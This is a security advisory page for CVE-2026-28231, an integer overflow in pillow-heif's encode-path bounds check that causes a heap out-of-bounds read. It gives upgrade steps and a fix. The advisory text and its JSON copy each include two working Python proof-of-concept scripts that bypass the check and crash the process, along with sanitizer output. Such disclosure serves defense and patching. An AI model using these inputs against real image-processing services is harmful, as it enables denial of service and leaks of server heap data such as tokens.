CVE-2026-28231: pillow-heif Integer Overflow Vulnerability

MODERATE
Advisory Identifier: GHSA-5gjj-6r7v-ph3x
CWE-125
Published
Advisory Summary

CVE-2026-28231 is a MODERATE integer overflow vulnerability (CWE-125: Out-of-bounds Read) affecting pillow-heif libraries in the PyPI ecosystem. The issue involves integer overflow in encode path buffer validation leads to heap out-of-bounds read. Remediation is available by upgrading affected packages to version 1.3.0.

CVE-2026-28231 at a Glance

CVE Identifier CVE-2026-28231
GHSA Identifier GHSA-5gjj-6r7v-ph3x
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-125: Out-of-bounds Read
Affected Product pillow-heif
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-28231

To remediate this vulnerability, upgrade all affected pillow-heif dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pi-heif fixed: 1.3.0
pip install pi-heif>=1.3.0
pillow-heif fixed: 1.3.0
pip install pillow-heif>=1.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pi-heif

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-28231, inspect your installed packages using pip:

pip show pi-heif

Analyze the terminal output to locate any version of pillow-heif in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.0), your application is affected.

Note: The pip show pi-heif command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-125: Out-of-bounds Read, where the product reads data past the end, or before the beginning, of the intended buffer. In pillow-heif, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. ### Details The buffer validation in `_CtxWriteImage_add_plane()`, `_CtxWriteImage_add_plane_la()`, and `_CtxWriteImage_add_plane_l()` uses 32-bit `int` multiplication to check whether the input buffer is large enough: ```c // _pillow_heif.c, lines 158, 344, 449 if (stride_in * height > buffer.len) { PyBuffer_Release(&buffer); PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data"); return NULL; } ``` Both `stride_in` and `height` are declared as `int` (32-bit signed). When their product exceeds `INT_MAX` (2,147,483,647), the multiplication overflows before the comparison with `buffer.len` (which is `Py_ssize_t`, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly. For example, with `stride_in = 196608` (65536 × 3 for RGB) and `height = 65536`: - True product: 12,884,901,888 - `int32` product: 0 (wraps around) - Comparison: `0 > buffer.len` → `false` → check bypassed After the check is bypassed, the subsequent loop reads beyond the input buffer: ```c for (int i = 0; i < height; i++) memcpy(out + stride_out * i, in + stride_in * i, real_stride); ``` Additionally, `real_stride = width * n_channels` (e.g., line 148: `real_stride = width * 3`) is also computed as `int * int`, which can independently overflow for large `width` values. This vulnerability exists in the **encode path**, which is distinct from the decode path: - The decode path is partially guarded by libheif's built-in security limits - The encode path has **no such guards** — `DISABLE_SECURITY_LIMITS` is irrelevant - The encode path is reachable whenever an application calls `pillow_heif.encode()` or saves an image via Pillow with `format="HEIF"` / `format="AVIF"` **Affected functions** (all in `_pillow_heif.c`): - `_CtxWriteImage_add_plane()` — line 158 - `_CtxWriteImage_add_plane_la()` — line 344 - `_CtxWriteImage_add_plane_l()` — line 449 **CWE**: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read) ### PoC #### Prerequisites ```bash pip install pillow-heif Pillow ``` For ASAN confirmation: ```bash # macOS (Apple Clang) CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif # Linux (GCC) CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif ``` #### Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS) ```python import pillow_heif from io import BytesIO # width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit) # stride_in = 32768 * 3 = 98304 # 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647) # int32 overflow: wraps to -1,073,741,824 # Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED width = 32768 height = 32768 buffer = b"\x00" * (1024 * 1024) # 1 MB (real need: ~3 GB) buf = BytesIO() try: pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1) print("[!] encode() succeeded — bounds check was bypassed") except MemoryError as e: print(f"[*] MemoryError (libheif caught it later): {e}") print("[*] int32 overflow occurred — C-level bounds check was bypassed") except ValueError as e: print(f"[-] ValueError (bounds check worked): {e}") ``` Without ASAN, this crashes the process with **exit code 138 (SIGBUS)** or **139 (SIGSEGV)**. #### Test 2: Explicit stride — small image, immediate crash ```python import pillow_heif from io import BytesIO # 100x100 pixels — well within any security limit # stride=INT_MAX (2,147,483,647), height=100 # INT_MAX * 100 overflows int32 → small or negative value # Bounds check bypassed, memcpy reads far beyond the 256-byte buffer width = 100 height = 100 stride_val = 2_147_483_647 small_buffer = b"\x00" * 256 buf = BytesIO() try: pillow_heif.encode("RGB", (width, height), small_buffer, buf, quality=-1, stride=stride_val) print("[!] encode() succeeded — bounds check was bypassed") except ValueError as e: print(f"[-] ValueError (bounds check worked): {e}") ``` Without ASAN, this crashes with **exit code 139 (SIGSEGV)**. #### ASAN confirmation With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces: ``` ==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824) #0 0x... in <deduplicated_symbol> (libclang_rt.asan_osx_dynamic.dylib) #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib) #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so) #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib) ... 0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...) allocated by thread T0 here: #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib) ... SUMMARY: AddressSanitizer: negative-size-param (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc ``` The overflow in `stride_in * height` (98304 × 32768 = 3,221,225,472) wraps to `-1,073,741,824` in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to `memcpy` as the size parameter, causing an out-of-bounds read from the 1 MB input buffer. ### Impact **Who is impacted**: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include: - Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints) - Content management systems that convert uploaded images to HEIF/AVIF - Image processing pipelines that accept user-specified output dimensions **Information Disclosure (Heartbleed-like)**: The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of: - Other users' request data - Python objects (strings, byte arrays) - Session tokens, API keys, or other sensitive data from the server's heap **Denial of Service**: When `memcpy` reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.). **Suggested fix**: Cast operands to `Py_ssize_t` before multiplication at all three locations: ```c // Before (vulnerable): if (stride_in * height > buffer.len) { // After (fixed): if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) { ``` **Prior art**: - CVE-2024-5197 (libvpx): integer overflow in `vpx_img_alloc()`, CVSS 7.5 - CVE-2024-5171 (libaom): integer overflow in `aom_img_alloc()`, CVSS 9.8

CVE-2026-28231 Affected pillow-heif Versions

2 component(s)
Fixed Versions:
1.3.0
Product / Package Ecosystem Affected Versions Fixed Version
pi-heif
PyPI
< 1.3.0
1.3.0
pillow-heif
PyPI
< 1.3.0
1.3.0

References

Frequently Asked Questions

What is CVE-2026-28231?
CVE-2026-28231 is a security vulnerability in pillow-heif involving Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read under CWE-125: Out-of-bounds Read.
Which pillow-heif versions are affected?
Affected versions include releases prior to 1.3.0 across affected packages: pi-heif, pillow-heif.
What version fixes CVE-2026-28231?
Upgrading to 1.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pi-heif affected?
Yes, pi-heif is affected in releases prior to 1.3.0. Upgrade your dependency to 1.3.0 or later.
Is pillow-heif affected?
Yes, pillow-heif is affected in releases prior to 1.3.0. Upgrade your dependency to 1.3.0 or later.
What CWE is associated with CVE-2026-28231?
CVE-2026-28231 is classified under CWE-125: Out-of-bounds Read (The product reads data past the end, or before the beginning, of the intended buffer.).
How can I check PyPI dependencies for CVE-2026-28231?
Run the dependency tree command: 'pip show pi-heif'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5gjj-6r7v-ph3x",
  "modified" : "2026-07-20T19:08:04Z",
  "published" : "2026-07-20T19:08:04Z",
  "aliases" : [ "CVE-2026-28231" ],
  "summary" : "pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read",
  "details" : "### Summary\n\nAn integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.\n\n### Details\n\nThe buffer validation in `_CtxWriteImage_add_plane()`, `_CtxWriteImage_add_plane_la()`, and `_CtxWriteImage_add_plane_l()` uses 32-bit `int` multiplication to check whether the input buffer is large enough:\n\n```c\n// _pillow_heif.c, lines 158, 344, 449\nif (stride_in * height > buffer.len) {\n    PyBuffer_Release(&buffer);\n    PyErr_SetString(PyExc_ValueError, \"image plane does not contain enough data\");\n    return NULL;\n}\n```\n\nBoth `stride_in` and `height` are declared as `int` (32-bit signed). When their product exceeds `INT_MAX` (2,147,483,647), the multiplication overflows before the comparison with `buffer.len` (which is `Py_ssize_t`, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.\n\nFor example, with `stride_in = 196608` (65536 × 3 for RGB) and `height = 65536`:\n- True product: 12,884,901,888\n- `int32` product: 0 (wraps around)\n- Comparison: `0 > buffer.len` → `false` → check bypassed\n\nAfter the check is bypassed, the subsequent loop reads beyond the input buffer:\n\n```c\nfor (int i = 0; i < height; i++)\n    memcpy(out + stride_out * i, in + stride_in * i, real_stride);\n```\n\nAdditionally, `real_stride = width * n_channels` (e.g., line 148: `real_stride = width * 3`) is also computed as `int * int`, which can independently overflow for large `width` values.\n\nThis vulnerability exists in the **encode path**, which is distinct from the decode path:\n- The decode path is partially guarded by libheif's built-in security limits\n- The encode path has **no such guards** — `DISABLE_SECURITY_LIMITS` is irrelevant\n- The encode path is reachable whenever an application calls `pillow_heif.encode()` or saves an image via Pillow with `format=\"HEIF\"` / `format=\"AVIF\"`\n\n**Affected functions** (all in `_pillow_heif.c`):\n- `_CtxWriteImage_add_plane()` — line 158\n- `_CtxWriteImage_add_plane_la()` — line 344\n- `_CtxWriteImage_add_plane_l()` — line 449\n\n**CWE**: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)\n\n### PoC\n\n#### Prerequisites\n\n```bash\npip install pillow-heif Pillow\n```\n\nFor ASAN confirmation:\n\n```bash\n# macOS (Apple Clang)\nCC=\"cc -fsanitize=address -fno-omit-frame-pointer -g\" pip install --no-binary pillow-heif pillow-heif\n\n# Linux (GCC)\nCC=\"gcc -fsanitize=address -fno-omit-frame-pointer -g\" pip install --no-binary pillow-heif pillow-heif\n```\n\n#### Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)\n\n```python\nimport pillow_heif\nfrom io import BytesIO\n\n# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)\n# stride_in = 32768 * 3 = 98304\n# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)\n# int32 overflow: wraps to -1,073,741,824\n# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED\nwidth = 32768\nheight = 32768\nbuffer = b\"\\x00\" * (1024 * 1024)  # 1 MB (real need: ~3 GB)\n\nbuf = BytesIO()\ntry:\n    pillow_heif.encode(\"RGB\", (width, height), buffer, buf, quality=-1)\n    print(\"[!] encode() succeeded — bounds check was bypassed\")\nexcept MemoryError as e:\n    print(f\"[*] MemoryError (libheif caught it later): {e}\")\n    print(\"[*] int32 overflow occurred — C-level bounds check was bypassed\")\nexcept ValueError as e:\n    print(f\"[-] ValueError (bounds check worked): {e}\")\n```\n\nWithout ASAN, this crashes the process with **exit code 138 (SIGBUS)** or **139 (SIGSEGV)**.\n\n#### Test 2: Explicit stride — small image, immediate crash\n\n```python\nimport pillow_heif\nfrom io import BytesIO\n\n# 100x100 pixels — well within any security limit\n# stride=INT_MAX (2,147,483,647), height=100\n# INT_MAX * 100 overflows int32 → small or negative value\n# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer\nwidth = 100\nheight = 100\nstride_val = 2_147_483_647\nsmall_buffer = b\"\\x00\" * 256\n\nbuf = BytesIO()\ntry:\n    pillow_heif.encode(\"RGB\", (width, height), small_buffer, buf,\n                       quality=-1, stride=stride_val)\n    print(\"[!] encode() succeeded — bounds check was bypassed\")\nexcept ValueError as e:\n    print(f\"[-] ValueError (bounds check worked): {e}\")\n```\n\nWithout ASAN, this crashes with **exit code 139 (SIGSEGV)**.\n\n#### ASAN confirmation\n\nWith an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:\n\n```\n==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)\n    #0 0x... in <deduplicated_symbol> (libclang_rt.asan_osx_dynamic.dylib)\n    #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)\n    #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)\n    #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)\n    ...\n\n0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)\nallocated by thread T0 here:\n    #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)\n    ...\n\nSUMMARY: AddressSanitizer: negative-size-param\n  (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc\n```\n\nThe overflow in `stride_in * height` (98304 × 32768 = 3,221,225,472) wraps to `-1,073,741,824` in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to `memcpy` as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.\n\n### Impact\n\n**Who is impacted**: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:\n\n- Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)\n- Content management systems that convert uploaded images to HEIF/AVIF\n- Image processing pipelines that accept user-specified output dimensions\n\n**Information Disclosure (Heartbleed-like)**: The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:\n- Other users' request data\n- Python objects (strings, byte arrays)\n- Session tokens, API keys, or other sensitive data from the server's heap\n\n**Denial of Service**: When `memcpy` reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).\n\n**Suggested fix**: Cast operands to `Py_ssize_t` before multiplication at all three locations:\n\n```c\n// Before (vulnerable):\nif (stride_in * height > buffer.len) {\n\n// After (fixed):\nif ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) {\n```\n\n**Prior art**:\n- CVE-2024-5197 (libvpx): integer overflow in `vpx_img_alloc()`, CVSS 7.5\n- CVE-2024-5171 (libaom): integer overflow in `aom_img_alloc()`, CVSS 9.8",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pi-heif"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.3.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pillow-heif"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bigcat88/pillow_heif/security/advisories/GHSA-5gjj-6r7v-ph3x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28231"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bigcat88/pillow_heif/commit/8305a15d3780c533b762578cbe987d27a2c59c7a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bigcat88/pillow_heif"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bigcat88/pillow_heif/releases/tag/v1.3.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pi-heif/PYSEC-2026-2248.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow-heif/PYSEC-2026-2258.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-125" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T19:08:04Z",
    "nvd_published_at" : "2026-02-27T20:21:40Z"
  }
}